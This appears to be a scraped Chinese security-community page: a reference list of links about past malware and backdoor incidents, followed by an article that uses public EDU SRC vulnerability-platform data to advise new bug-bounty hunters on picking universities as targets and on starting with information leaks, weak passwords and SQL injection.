<http://www.antiy.com/response/xcodeghost.html>
<http://www.freebuf.com/articles/system/109096.html>
<http://www.freebuf.com/articles/system/134017.html>
<http://www.freebuf.com/articles/system/143461.html>
<http://www.freebuf.com/articles/terminal/78781.html>
<http://www.freebuf.com/articles/web/141633.html>
<http://www.freebuf.com/vuls/57868.html>
<http://www.huorong.cn/info/146855435236.html>
<http://www.huorong.cn/info/148179983055.html>
<http://www.huorong.cn/info/148230103656.html>
<http://www.huorong.cn/info/148352991557.html>
<http://www.huorong.cn/info/148826116759.html?utm_sources=landian.la>
<http://www.huorong.cn/info/149663131668.html>
<http://www.huorong.cn/info/150173981974.html>
<http://www.icsisia.com/article.php?id=152154>
[http://www.myibc.net/about-us/news/1627-juniper-vpn后门事件分析.html](http://www.myibc.net/about-us/news/1627-juniper-vpn%E5%90%8E%E9%97%A8%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90.html)
<http://www.pandasecurity.com/mediacenter/mobile-security/ghost-push-malware-android/>
<http://www.zdnet.com/article/microsoft-petya-ransomware-attacks-were-spread-by-hacked-software-updater/>
[https://baike.baidu.com/item/棱镜门/6006333?fr=aladdin](https://baike.baidu.com/item/%E6%A3%B1%E9%95%9C%E9%97%A8/6006333?fr=aladdin)
<https://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/>
[https://blog.cloudflare.com/the-wirex-botnet/?utm_content=buffer9e1c5&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer](https://blog.cloudflare.com/the-wirex-botnet/?utm_content=buffer9e1c5&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer)
<https://blogs.technet.microsoft.com/mmpc/2017/06/22/understanding-the-true-size-of-fireball/>
<https://securelist.com/shadowpad-in-corporate-networks/81432/>
<https://www.f-secure.com/weblog/archives/00002718.html>
<https://www.fireeye.com/blog/threat-research/2015/11/ibackdoor_high-risk.html>
<https://www.secpulse.com/archives/40062.html>
<https://www.secpulse.com/archives/42059.html>
<https://www.symantec.com/connect/blogs/emerging-threat-dragonfly-energetic-bear-apt-group>
<https://www.trustmatta.com/advisories/MATTA-2012-002.txt>
<https://www.trustmatta.com/advisories/matta-disclosure-policy-01.txt> | 社区文章 |
在挖SRC的过程中，“挑软柿子捏”已经算是一种常规思路。而对于刚开始挖SRC的小伙伴来说，「挑选目标」以及「挖掘漏洞的方向」似乎是一件比较让人纠结的事情。
所以，我们就在思考能否通过爬虫脚本抓取「教育行业漏洞报告平台」上的公开数据做分析，再根据各大院校漏洞公布情况输出「情报数据」，为我们在「挑选目标」以及「挖掘漏洞的方向」上提供一些「情报信息」作为参考。
「教育行业漏洞报告平台」现有的公开情报信息：
* 漏洞列表：时间、漏洞标题、等级、漏洞上报人员
* 全国高校漏洞排行榜：排名、单位、漏洞总数、漏洞威胁值
* 各省高校漏洞排行榜：排名、省份、漏洞总数、漏洞威胁值
* 用户排行榜：总排行、月排行
* 漏洞上报人员的历史提交情况
从上述的公开情报信息来看，我们目前只需要通过爬虫脚本抓取「漏洞列表」的数据进行分析即可，其他的情报信息后续能够从抓取的数据中进行还原输出。按照Splunk所支持的格式对数据进行存储，然后将其导入后再进行数据分析的工作。
为了检测情报信息的有效性，我们可以通过「可视化」的形式还原已知的公开情报信息进行校验。
确认情报数据的「有效性」之后，我们也能够从可视化图表中得到一些有用的基础情报信息。比如：
* 挑选目标 - 维度
如果是刚开始挖「EDU
SRC」的小伙伴，还是建议暂时不要挑选这些热门院校作为挖掘目标。毕竟，在技术能力培养的前期未必拼的赢那些挖洞的「老司机」，运气值拉满的小伙伴除外。
以「上海交通大学」为例，下图为该校今年接收漏洞的波动频率，看这个波动起伏就知道「老司机」们有多凶悍。
* 挖掘漏洞的方向 - 维度
从漏洞类型情况的数据来看，建议刚开始挖「EDU SRC」的小伙伴从敏感信息泄露、弱口令、SQL注入作为漏洞挖掘的「突破口」。
在「敏感信息泄露」漏洞挖掘方面，id为「王老师」的漏洞上报人员就已经在平台上提交了将近1600+枚漏洞。而从历史提交数据来看，「王老师」最高提交记录是在2019年08月09日上报了70枚「敏感信息泄露」漏洞。
而在「弱口令」漏洞挖掘方面，id为「姜洪杰」的漏洞上报人员就已经在平台上提交了将近918枚漏洞。但从历史提交数据来看，其漏洞挖掘的方向依旧还是以弱口令、敏感信息泄露为主。
有了上面的「情报信息」作为参考，我们大致的总结一下。如果是刚开始挖「EDU
SRC」的小伙伴，想要在相对比较短的时间内挖到有效漏洞，可以尝试以下这些前期准备：
* 掌握「资产信息收集」的方式
* 掌握「敏感信息泄露」、「弱口令」这两种类型漏洞的挖掘思路
* 了解漏洞报告的编写格式
* 收集&整理「EDU SRC - 域名清单」
关于「敏感信息泄露」、「弱口令」这两种类型漏洞的挖掘思路，后续我们也会把整理好的资料同步在「海绵行动」公众号。最后，如果文章内容存在「表述欠妥」的地方，欢迎各位留言指正。
**“祝大家身体健康，工作顺利。”** | 社区文章 |
Subsets and Splits